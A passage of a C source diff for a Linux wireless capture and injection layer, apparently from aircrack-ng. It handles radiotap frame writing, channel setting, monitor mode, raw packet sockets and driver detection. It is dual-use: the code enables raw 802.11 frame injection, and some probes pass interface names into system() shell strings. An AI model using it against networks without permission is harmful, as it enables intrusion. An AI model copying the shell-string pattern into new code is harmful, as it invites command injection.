+	if (ri && !got_channel) ri->ri_channel = wi_get_channel(wi);
+
+	return (caplen);
+}
+
+static int linux_write(struct wif * wi,
+					   unsigned char * buf,
+					   int count,
+					   struct tx_info * ti)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	unsigned char maddr[6];
+	int ret, usedrtap = 0;
+	unsigned char tmpbuf[4096];
+	unsigned char rate;
+	unsigned short int * p_rtlen;
+
+	unsigned char u8aRadiotap[] = {
+		0x00,
+		0x00, // <-- radiotap version
+		0x0c,
+		0x00, // <- radiotap header length
+		0x04,
+		0x80,
+		0x00,
+		0x00, // <-- bitmap
+		0x00, // <-- rate
+		0x00, // <-- padding for natural alignment
+		0x18,
+		0x00, // <-- TX flags
+	};
+
+	/* Pointer to the radiotap header length field for later use. */
+	p_rtlen = (unsigned short int *) (u8aRadiotap + 2);
+
+	if ((unsigned) count > sizeof(tmpbuf) - 22) return -1;
+
+	/* XXX honor ti */
+	if (ti)
+	{
+	}
+
+	rate = dev->rate;
+
+	u8aRadiotap[8] = rate;
+
+	switch (dev->drivertype)
+	{
+
+		case DT_MAC80211_RT:
+			memcpy(tmpbuf, u8aRadiotap, sizeof(u8aRadiotap));
+			memcpy(tmpbuf + sizeof(u8aRadiotap), buf, count);
+			count += sizeof(u8aRadiotap);
+
+			buf = tmpbuf;
+			usedrtap = 1;
+			break;
+
+		case DT_WLANNG:
+			/* Wlan-ng isn't able to inject on kernel > 2.6.11 */
+			if (dev->inject_wlanng == 0)
+			{
+				perror("write failed");
+				return (-1);
+			}
+
+			if (count >= 24)
+			{
+				/* for some reason, wlan-ng requires a special header */
+
+				if ((((unsigned char *) buf)[1] & 3) != 3)
+				{
+					memcpy(tmpbuf, buf, 24);
+					memset(tmpbuf + 24, 0, 22);
+
+					tmpbuf[30] = (count - 24) & 0xFF;
+					tmpbuf[31] = (count - 24) >> 8;
+
+					memcpy(tmpbuf + 46, buf + 24, count - 24);
+
+					count += 22;
+				}
+				else
+				{
+					memcpy(tmpbuf, buf, 30);
+					memset(tmpbuf + 30, 0, 16);
+
+					tmpbuf[30] = (count - 30) & 0xFF;
+					tmpbuf[31] = (count - 30) >> 8;
+
+					memcpy(tmpbuf + 46, buf + 30, count - 30);
+
+					count += 16;
+				}
+
+				buf = tmpbuf;
+			}
+		/* fall through */
+		case DT_HOSTAP:
+			if ((((unsigned char *) buf)[1] & 3) == 2)
+			{
+				/* Prism2 firmware swaps the dmac and smac in FromDS packets */
+
+				memcpy(maddr, buf + 4, 6);
+				memcpy(buf + 4, buf + 16, 6);
+				memcpy(buf + 16, maddr, 6);
+			}
+			break;
+		default:
+			break;
+	}
+
+	ret = write(dev->fd_out, buf, count);
+
+	if (ret < 0)
+	{
+		if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS
+			|| errno == ENOMEM)
+		{
+			usleep(10000);
+			return (0);
+		}
+
+		perror("write failed");
+		return (-1);
+	}
+
+	/* radiotap header length is stored little endian on all systems */
+	if (usedrtap) ret -= letoh16(*p_rtlen);
+
+	if (ret < 0)
+	{
+		if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS
+			|| errno == ENOMEM)
+		{
+			usleep(10000);
+			return (0);
+		}
+
+		perror("write failed");
+		return (-1);
+	}
+
+	return (ret);
+}
+
+#if defined(CONFIG_LIBNL)
+static int ieee80211_channel_to_frequency(int chan)
+{
+	if (chan < 14) return 2407 + chan * 5;
+
+	if (chan == 14) return 2484;
+
+	/* FIXME: dot11ChannelStartingFactor (802.11-2007 17.3.8.3.2) */
+	return (chan + 1000) * 5;
+}
+
+static int
+linux_set_ht_channel_nl80211(struct wif * wi, int channel, unsigned int htval)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	char s[32];
+	int pid, status, unused;
+
+	unsigned int devid;
+	struct nl_msg * msg;
+	unsigned int freq;
+
+	memset(s, 0, sizeof(s));
+
+	switch (dev->drivertype)
+	{
+		case DT_WLANNG:
+			snprintf(s, sizeof(s) - 1, "channel=%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				unused = chdir("/");
+				execl(dev->wlanctlng,
+					  "wlanctl-ng",
+					  wi_get_ifname(wi),
+					  "lnxreq_wlansniff",
+					  s,
+					  NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+
+			if (WIFEXITED(status))
+			{
+				dev->channel = channel;
+				return (WEXITSTATUS(status));
+			}
+			else
+				return (1);
+			break;
+
+		case DT_ORINOCO:
+			snprintf(s, sizeof(s) - 1, "%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				unused = chdir("/");
+				execlp(dev->iwpriv,
+					   "iwpriv",
+					   wi_get_ifname(wi),
+					   "monitor",
+					   "1",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->channel = channel;
+			return 0;
+			break; // yeah ;)
+
+		case DT_ZD1211RW:
+			snprintf(s, sizeof(s) - 1, "%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				unused = chdir("/");
+				execlp(dev->iwconfig,
+					   "iwconfig",
+					   wi_get_ifname(wi),
+					   "channel",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->channel = channel;
+			chan = channel;
+			return 0;
+			break; // yeah ;)
+
+		default:
+			break;
+	}
+
+	/* libnl stuff */
+	chan = channel;
+
+	devid = if_nametoindex(wi->wi_interface);
+	freq = ieee80211_channel_to_frequency(channel);
+	msg = nlmsg_alloc();
+	if (!msg)
+	{
+		fprintf(stderr, "failed to allocate netlink message\n");
+		return 2;
+	}
+
+	genlmsg_put(msg,
+				0,
+				0,
+				genl_family_get_id(state.nl80211),
+				0,
+				0,
+				NL80211_CMD_SET_WIPHY,
+				0);
+
+	NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, devid);
+	NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq);
+
+	unsigned ht = NL80211_CHAN_NO_HT;
+	switch (htval)
+	{
+		case CHANNEL_HT20:
+			ht = NL80211_CHAN_HT20;
+			break;
+		case CHANNEL_HT40_PLUS:
+			ht = NL80211_CHAN_HT40PLUS;
+			break;
+		case CHANNEL_HT40_MINUS:
+			ht = NL80211_CHAN_HT40MINUS;
+			break;
+	}
+	NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, ht);
+
+	nl_send_auto_complete(state.nl_sock, msg);
+	nlmsg_free(msg);
+
+	dev->channel = channel;
+
+	return (0);
+nla_put_failure:
+	return -ENOBUFS;
+}
+
+static int linux_set_channel_nl80211(struct wif * wi, int channel)
+{
+	return linux_set_ht_channel_nl80211(wi, channel, CHANNEL_NO_HT);
+}
+#else // CONFIG_LIBNL
+
+static int linux_set_channel(struct wif * wi, int channel)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	char s[32];
+	int pid, status, unused;
+	struct iwreq wrq;
+
+	memset(s, 0, sizeof(s));
+
+	switch (dev->drivertype)
+	{
+		case DT_WLANNG:
+			snprintf(s, sizeof(s) - 1, "channel=%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				unused = chdir("/");
+				execl(dev->wlanctlng,
+					  "wlanctl-ng",
+					  wi_get_ifname(wi),
+					  "lnxreq_wlansniff",
+					  s,
+					  NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+
+			if (WIFEXITED(status))
+			{
+				dev->channel = channel;
+				return (WEXITSTATUS(status));
+			}
+			else
+				return (1);
+			break;
+
+		case DT_ORINOCO:
+			snprintf(s, sizeof(s) - 1, "%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				unused = chdir("/");
+				execlp(dev->iwpriv,
+					   "iwpriv",
+					   wi_get_ifname(wi),
+					   "monitor",
+					   "1",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->channel = channel;
+			return 0;
+			break; // yeah ;)
+
+		case DT_ZD1211RW:
+			snprintf(s, sizeof(s) - 1, "%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				unused = chdir("/");
+				execlp(dev->iwconfig,
+					   "iwconfig",
+					   wi_get_ifname(wi),
+					   "channel",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->channel = channel;
+			return 0;
+			break; // yeah ;)
+
+		default:
+			break;
+	}
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+	strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	wrq.u.freq.m = (double) channel;
+	wrq.u.freq.e = (double) 0;
+
+	if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
+	{
+		usleep(10000); /* madwifi needs a second chance */
+
+		if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
+		{
+			/*          perror( "ioctl(SIOCSIWFREQ) failed" ); */
+			return (1);
+		}
+	}
+
+	dev->channel = channel;
+
+	return (0);
+}
+#endif
+
+static int linux_set_freq(struct wif * wi, int freq)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	char s[32];
+	int pid, status, unused;
+	struct iwreq wrq;
+
+	memset(s, 0, sizeof(s));
+
+	switch (dev->drivertype)
+	{
+		case DT_WLANNG:
+		case DT_ORINOCO:
+		case DT_ZD1211RW:
+			snprintf(s, sizeof(s) - 1, "%dM", freq);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				unused = chdir("/");
+				execlp(dev->iwconfig,
+					   "iwconfig",
+					   wi_get_ifname(wi),
+					   "freq",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->freq = freq;
+			return 0;
+			break; // yeah ;)
+
+		default:
+			break;
+	}
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+	strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	wrq.u.freq.m = (double) freq * 100000;
+	wrq.u.freq.e = (double) 1;
+
+	if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
+	{
+		usleep(10000); /* madwifi needs a second chance */
+
+		if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
+		{
+			/*          perror( "ioctl(SIOCSIWFREQ) failed" ); */
+			return (1);
+		}
+	}
+
+	dev->freq = freq;
+
+	return (0);
+}
+
+static int opensysfs(struct priv_linux * dev, char * iface, int fd)
+{
+	int fd2;
+	char buf[256];
+
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return 1;
+	}
+
+	/* ipw2200 injection */
+	snprintf(buf, 256, "/sys/class/net/%s/device/inject", iface);
+	fd2 = open(buf, O_WRONLY);
+
+	/* bcm43xx injection */
+	if (fd2 == -1)
+	{
+		snprintf(buf, 256, "/sys/class/net/%s/device/inject_nofcs", iface);
+		fd2 = open(buf, O_WRONLY);
+	}
+
+	if (fd2 == -1) return -1;
+
+	dup2(fd2, fd);
+	close(fd2);
+
+	dev->sysfs_inject = 1;
+	return 0;
+}
+
+int linux_get_monitor(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct ifreq ifr;
+	struct iwreq wrq;
+
+	/* find the interface index */
+
+	if (dev->drivertype == DT_IPW2200) return (0);
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	//     if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 )
+	//     {
+	//         printf("Interface %s: \n", iface);
+	//         perror( "ioctl(SIOCGIFINDEX) failed" );
+	//         return( 1 );
+	//     }
+
+	/* lookup the hardware type */
+
+	if (ioctl(wi_fd(wi), SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", wi_get_ifname(wi));
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	/* lookup iw mode */
+	memset(&wrq, 0, sizeof(struct iwreq));
+	strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	if (ioctl(wi_fd(wi), SIOCGIWMODE, &wrq) < 0)
+	{
+		/* most probably not supported (ie for rtap ipw interface) *
+		 * so just assume its correctly set...                     */
+		wrq.u.mode = IW_MODE_MONITOR;
+	}
+
+	if ((ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211
+		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM
+		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL)
+		|| (wrq.u.mode != IW_MODE_MONITOR && (dev->drivertype != DT_ORINOCO)))
+	{
+		return (1);
+	}
+
+	return (0);
+}
+
+char * get_linux_driver(const char * iface)
+{
+	char path[PATH_MAX];
+	char link[PATH_MAX];
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return NULL;
+	}
+
+	// Read the link path
+	memset(path, 0, sizeof(path));
+	snprintf(path, sizeof(path), "/sys/class/net/%s/device/driver", iface);
+
+	// Read the link path
+	ssize_t len = readlink(path, link, sizeof(link));
+	if (len < 1 || len >= PATH_MAX)
+	{
+		return NULL;
+	}
+	memset(link + len, 0, sizeof(link) - len);
+
+	// Get driver name
+	const char * drv_idx = strrchr(link, '/');
+	if (drv_idx == NULL)
+	{
+		return NULL;
+	}
+
+	// Copy it to a new char * and return
+	ssize_t drv_len = len - (drv_idx - link);
+	if (drv_len <= 1)
+	{
+		return NULL;
+	}
+	char * ret = (char *) calloc(1, drv_len); // includes /
+	if (ret == NULL)
+	{
+		return NULL;
+	}
+	memcpy(ret, drv_idx + 1, drv_len - 1);
+	return ret;
+}
+
+int set_monitor(struct priv_linux * dev, char * iface, int fd)
+{
+	int pid, status, unused;
+	struct iwreq wrq;
+
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return (1);
+	}
+
+	if (strcmp(iface, "prism0") == 0)
+	{
+		dev->wl = wiToolsPath("wl");
+		if ((pid = fork()) == 0)
+		{
+			close(0);
+			close(1);
+			close(2);
+			unused = chdir("/");
+			execl(dev->wl, "wl", "monitor", "1", NULL);
+			exit(1);
+		}
+		waitpid(pid, &status, 0);
+		if (WIFEXITED(status)) return (WEXITSTATUS(status));
+		return (1);
+	}
+	else if (strncmp(iface, "rtap", 4) == 0)
+	{
+		return 0;
+	}
+	else
+	{
+		switch (dev->drivertype)
+		{
+			case DT_WLANNG:
+				if ((pid = fork()) == 0)
+				{
+					close(0);
+					close(1);
+					close(2);
+					unused = chdir("/");
+					execl(dev->wlanctlng,
+						  "wlanctl-ng",
+						  iface,
+						  "lnxreq_wlansniff",
+						  "enable=true",
+						  "prismheader=true",
+						  "wlanheader=false",
+						  "stripfcs=true",
+						  "keepwepflags=true",
+						  "6",
+						  NULL);
+					exit(1);
+				}
+
+				waitpid(pid, &status, 0);
+
+				if (WIFEXITED(status)) return (WEXITSTATUS(status));
+				return (1);
+				break;
+
+			case DT_ORINOCO:
+				if ((pid = fork()) == 0)
+				{
+					close(0);
+					close(1);
+					close(2);
+					unused = chdir("/");
+					execlp(dev->iwpriv,
+						   "iwpriv",
+						   iface,
+						   "monitor",
+						   "1",
+						   "1",
+						   NULL);
+					exit(1);
+				}
+
+				waitpid(pid, &status, 0);
+
+				if (WIFEXITED(status)) return (WEXITSTATUS(status));
+
+				return 1;
+				break;
+
+			case DT_ACX:
+				if ((pid = fork()) == 0)
+				{
+					close(0);
+					close(1);
+					close(2);
+					unused = chdir("/");
+					execlp(dev->iwpriv,
+						   "iwpriv",
+						   iface,
+						   "monitor",
+						   "2",
+						   "1",
+						   NULL);
+					exit(1);
+				}
+
+				waitpid(pid, &status, 0);
+
+				if (WIFEXITED(status)) return (WEXITSTATUS(status));
+
+				return 1;
+				break;
+
+			default:
+				break;
+		}
+
+		memset(&wrq, 0, sizeof(struct iwreq));
+		strncpy(wrq.ifr_name, iface, IFNAMSIZ);
+		wrq.ifr_name[IFNAMSIZ - 1] = 0;
+		wrq.u.mode = IW_MODE_MONITOR;
+
+		if (ioctl(fd, SIOCSIWMODE, &wrq) < 0)
+		{
+			perror("ioctl(SIOCSIWMODE) failed");
+			return (1);
+		}
+
+		if (dev->drivertype == DT_AT76USB)
+		{
+			sleep(3);
+		}
+	}
+
+	/* couple of iwprivs to enable the prism header */
+
+	if (!fork()) /* hostap */
+	{
+		close(0);
+		close(1);
+		close(2);
+		unused = chdir("/");
+		execlp("iwpriv", "iwpriv", iface, "monitor_type", "1", NULL);
+		exit(1);
+	}
+	wait(NULL);
+
+	if (!fork()) /* r8180 */
+	{
+		close(0);
+		close(1);
+		close(2);
+		unused = chdir("/");
+		execlp("iwpriv", "iwpriv", iface, "prismhdr", "1", NULL);
+		exit(1);
+	}
+	wait(NULL);
+
+	if (!fork()) /* prism54 */
+	{
+		close(0);
+		close(1);
+		close(2);
+		unused = chdir("/");
+		execlp("iwpriv", "iwpriv", iface, "set_prismhdr", "1", NULL);
+		exit(1);
+	}
+	wait(NULL);
+
+	return (0);
+}
+
+static int openraw(struct priv_linux * dev,
+				   char * iface,
+				   int fd,
+				   int * arptype,
+				   unsigned char * mac)
+{
+	struct ifreq ifr;
+	struct ifreq ifr2;
+	struct iwreq wrq;
+	struct iwreq wrq2;
+	struct packet_mreq mr;
+	struct sockaddr_ll sll;
+	struct sockaddr_ll sll2;
+
+	if (iface == NULL || strlen(iface) >= sizeof(ifr.ifr_name))
+	{
+		printf("Interface name too long: %s\n", iface);
+		return (1);
+	}
+
+	/* find the interface index */
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name) - 1);
+
+	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
+	{
+		printf("Interface %s: \n", iface);
+		perror("ioctl(SIOCGIFINDEX) failed");
+		return (1);
+	}
+
+	memset(&sll, 0, sizeof(sll));
+	sll.sll_family = AF_PACKET;
+	sll.sll_ifindex = ifr.ifr_ifindex;
+
+	switch (dev->drivertype)
+	{
+		case DT_IPW2200:
+			/* find the interface index */
+
+			if (dev->main_if == NULL)
+			{
+				perror("Missing interface name");
+				return 1;
+			}
+
+			memset(&ifr2, 0, sizeof(ifr));
+			strncpy(ifr2.ifr_name, dev->main_if, sizeof(ifr2.ifr_name) - 1);
+
+			if (ioctl(dev->fd_main, SIOCGIFINDEX, &ifr2) < 0)
+			{
+				printf("Interface %s: \n", dev->main_if);
+				perror("ioctl(SIOCGIFINDEX) failed");
+				return (1);
+			}
+
+			/* set iw mode to managed on main interface */
+			memset(&wrq2, 0, sizeof(struct iwreq));
+			strncpy(wrq2.ifr_name, dev->main_if, IFNAMSIZ);
+			wrq2.ifr_name[IFNAMSIZ - 1] = 0;
+
+			if (ioctl(dev->fd_main, SIOCGIWMODE, &wrq2) < 0)
+			{
+				perror("SIOCGIWMODE");
+				return 1;
+			}
+			wrq2.u.mode = IW_MODE_INFRA;
+			if (ioctl(dev->fd_main, SIOCSIWMODE, &wrq2) < 0)
+			{
+				perror("SIOCSIWMODE");
+				return 1;
+			}
+
+			/* bind the raw socket to the interface */
+
+			memset(&sll2, 0, sizeof(sll2));
+			sll2.sll_family = AF_PACKET;
+			sll2.sll_ifindex = ifr2.ifr_ifindex;
+			sll2.sll_protocol = htons(ETH_P_ALL);
+
+			if (bind(dev->fd_main, (struct sockaddr *) &sll2, sizeof(sll2)) < 0)
+			{
+				printf("Interface %s: \n", dev->main_if);
+				perror("bind(ETH_P_ALL) failed");
+				return (1);
+			}
+
+			opensysfs(dev, dev->main_if, dev->fd_in);
+			break;
+		case DT_BCM43XX:
+			opensysfs(dev, iface, dev->fd_in);
+			break;
+		case DT_WLANNG:
+			sll.sll_protocol = htons(ETH_P_80211_RAW);
+			break;
+		default:
+			sll.sll_protocol = htons(ETH_P_ALL);
+			break;
+	}
+
+	/* lookup the hardware type */
+
+	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", iface);
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	/* lookup iw mode */
+	memset(&wrq, 0, sizeof(struct iwreq));
+	strncpy(wrq.ifr_name, iface, IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	if (ioctl(fd, SIOCGIWMODE, &wrq) < 0)
+	{
+		/* most probably not supported (ie for rtap ipw interface) *
+		 * so just assume its correctly set...                     */
+		wrq.u.mode = IW_MODE_MONITOR;
+	}
+
+	if ((ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211
+		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM
+		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL)
+		|| (wrq.u.mode != IW_MODE_MONITOR))
+	{
+		if (set_monitor(dev, iface, fd) && dev->drivertype != DT_ORINOCO)
+		{
+			ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING);
+
+			if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+			{
+				perror("ioctl(SIOCSIFFLAGS) failed");
+				return (1);
+			}
+
+			if (set_monitor(dev, iface, fd))
+			{
+				printf("Error setting monitor mode on %s\n", iface);
+				return (1);
+			}
+		}
+	}
+
+	/* Is interface st to up, broadcast & running ? */
+	if ((ifr.ifr_flags | IFF_UP | IFF_BROADCAST | IFF_RUNNING) != ifr.ifr_flags)
+	{
+		/* Bring interface up*/
+		ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
+
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+		{
+			perror("ioctl(SIOCSIFFLAGS) failed");
+			return (1);
+		}
+	}
+	/* bind the raw socket to the interface */
+
+	if (bind(fd, (struct sockaddr *) &sll, sizeof(sll)) < 0)
+	{
+		printf("Interface %s: \n", iface);
+		perror("bind(ETH_P_ALL) failed");
+		return (1);
+	}
+
+	/* lookup the hardware type */
+
+	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", iface);
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	memcpy(mac, (unsigned char *) ifr.ifr_hwaddr.sa_data, 6);
+
+	*arptype = ifr.ifr_hwaddr.sa_family;
+
+	if (ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211
+		&& ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM
+		&& ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL)
+	{
+		if (ifr.ifr_hwaddr.sa_family == ARPHRD_ETHERNET)
+			fprintf(stderr, "\nARP linktype is set to 1 (Ethernet) ");
+		else
+			fprintf(stderr,
+					"\nUnsupported hardware link type %4d ",
+					ifr.ifr_hwaddr.sa_family);
+
+		fprintf(stderr,
+				"- expected ARPHRD_IEEE80211,\nARPHRD_IEEE80211_"
+				"FULL or ARPHRD_IEEE80211_PRISM instead.  Make\n"
+				"sure RFMON is enabled: run 'airmon-ng start %s"
+				" <#>'\nSysfs injection support was not found "
+				"either.\n\n",
+				iface);
+		return (1);
+	}
+
+	/* enable promiscuous mode */
+
+	memset(&mr, 0, sizeof(mr));
+	mr.mr_ifindex = sll.sll_ifindex;
+	mr.mr_type = PACKET_MR_PROMISC;
+
+	if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, sizeof(mr)) < 0)
+	{
+		perror("setsockopt(PACKET_MR_PROMISC) failed");
+		return (1);
+	}
+
+	return (0);
+}
+
+/*
+ * Open the interface and set mode monitor
+ * Return 1 on failure and 0 on success
+ */
+static int do_linux_open(struct wif * wi, char * iface)
+{
+	int kver, unused;
+	struct utsname checklinuxversion;
+	struct priv_linux * dev = wi_priv(wi);
+	char * iwpriv = NULL;
+	char strbuf[512];
+	FILE * f;
+	char athXraw[] = "athXraw";
+	pid_t pid;
+	int n;
+	DIR * net_ifaces;
+	struct dirent * this_iface;
+	FILE * acpi;
+	char buf[128];
+	char * r_file = NULL;
+	struct ifreq ifr;
+	char * unused_str;
+	int iface_malloced = 0;
+
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return (1);
+	}
+
+	dev->inject_wlanng = 1;
+	dev->rate = 2; /* default to 1Mbps if nothing is set */
+
+	/* open raw socks */
+	if ((dev->fd_in = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
+	{
+		perror("socket(PF_PACKET) failed");
+		if (getuid() != 0)
+			fprintf(stderr, "This program requires root privileges.\n");
+		return (1);
+	}
+
+	if ((dev->fd_main = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
+	{
+		perror("socket(PF_PACKET) failed");
+		if (getuid() != 0)
+			fprintf(stderr, "This program requires root privileges.\n");
+		return (1);
+	}
+
+	/* Check iwpriv existence */
+	iwpriv = wiToolsPath("iwpriv");
+
+#ifndef CONFIG_LIBNL
+	dev->iwpriv = iwpriv;
+	dev->iwconfig = wiToolsPath("iwconfig");
+	dev->ifconfig = wiToolsPath("ifconfig");
+
+	if (!iwpriv)
+	{
+		fprintf(stderr,
+				"Required wireless tools when compiled without libnl "
+				"could not be found, exiting.\n");
+		goto close_in;
+	}
+#endif
+
+	/* Exit if ndiswrapper : check iwpriv ndis_reset */
+
+	if (is_ndiswrapper(iface, iwpriv))
+	{
+		fprintf(stderr, "Ndiswrapper doesn't support monitor mode.\n");
+		goto close_in;
+	}
+
+	if ((dev->fd_out = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
+	{
+		perror("socket(PF_PACKET) failed");
+		goto close_in;
+	}
+	/* figure out device type */
+
+	/* mac80211 radiotap injection
+	 * detected based on interface called mon...
+	 * since mac80211 allows multiple virtual interfaces
+	 *
+	 * note though that the virtual interfaces are ultimately using a
+	 * single physical radio: that means for example they must all
+	 * operate on the same channel
+	 */
+
+	/* mac80211 stack detection */
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "ls /sys/class/net/%s/phy80211/subsystem >/dev/null 2>/dev/null",
+			 iface);
+
+	if (system(strbuf) == 0) dev->drivertype = DT_MAC80211_RT;
+
+	/* IPW2200 detection */
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "ls /sys/class/net/%s/device/inject >/dev/null 2>/dev/null",
+			 iface);
+
+	if (system(strbuf) == 0) dev->drivertype = DT_IPW2200;
+
+	/* BCM43XX detection */
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "ls /sys/class/net/%s/device/inject_nofcs >/dev/null 2>/dev/null",
+			 iface);
+
+	if (system(strbuf) == 0) dev->drivertype = DT_BCM43XX;
+
+	/* check if wlan-ng or hostap or r8180 */
+	if (strlen(iface) == 5 && memcmp(iface, "wlan", 4) == 0)
+	{
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "wlancfg show %s 2>/dev/null | "
+				 "grep p2CnfWEPFlags >/dev/null",
+				 iface);
+
+		if (system(strbuf) == 0)
+		{
+			if (uname(&checklinuxversion) >= 0)
+			{
+				/* uname succeeded */
+				if (strncmp(checklinuxversion.release, "2.6.", 4) == 0
+					&& strncasecmp(checklinuxversion.sysname, "linux", 5) == 0)
+				{
+					/* Linux kernel 2.6 */
+					kver = atoi(checklinuxversion.release + 4);
+
+					if (kver > 11)
+					{
+						/* That's a kernel > 2.6.11, cannot inject */
+						dev->inject_wlanng = 0;
+					}
+				}
+			}
+			dev->drivertype = DT_WLANNG;
+			dev->wlanctlng = wiToolsPath("wlanctl-ng");
+		}
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "iwpriv %s 2>/dev/null | "
+				 "grep antsel_rx >/dev/null",
+				 iface);
+
+		if (system(strbuf) == 0) dev->drivertype = DT_HOSTAP;
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "iwpriv %s 2>/dev/null | "
+				 "grep  GetAcx111Info  >/dev/null",
+				 iface);
+
+		if (system(strbuf) == 0) dev->drivertype = DT_ACX;
+	}
+
+	/* enable injection on ralink */
+
+	if (strcmp(iface, "ra0") == 0 || strcmp(iface, "ra1") == 0
+		|| strcmp(iface, "rausb0") == 0
+		|| strcmp(iface, "rausb1") == 0)
+	{
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "iwpriv %s rfmontx 1 >/dev/null 2>/dev/null",
+				 iface);
+		unused = system(strbuf);
+	}
+
+	/* check if newer athXraw interface available */
+
+	if ((strlen(iface) >= 4 || strlen(iface) <= 6)
+		&& memcmp(iface, "ath", 3) == 0)
+	{
+		dev->drivertype = DT_MADWIFI;
+		memset(strbuf, 0, sizeof(strbuf));
+
+		snprintf(
+			strbuf, sizeof(strbuf) - 1, "/proc/sys/net/%s/%%parent", iface);
+
+		f = fopen(strbuf, "r");
+
+		if (f != NULL)
+		{
+			// It is madwifi-ng
+			dev->drivertype = DT_MADWIFING;
+			fclose(f);
+
+			/* should we force prism2 header? */
+
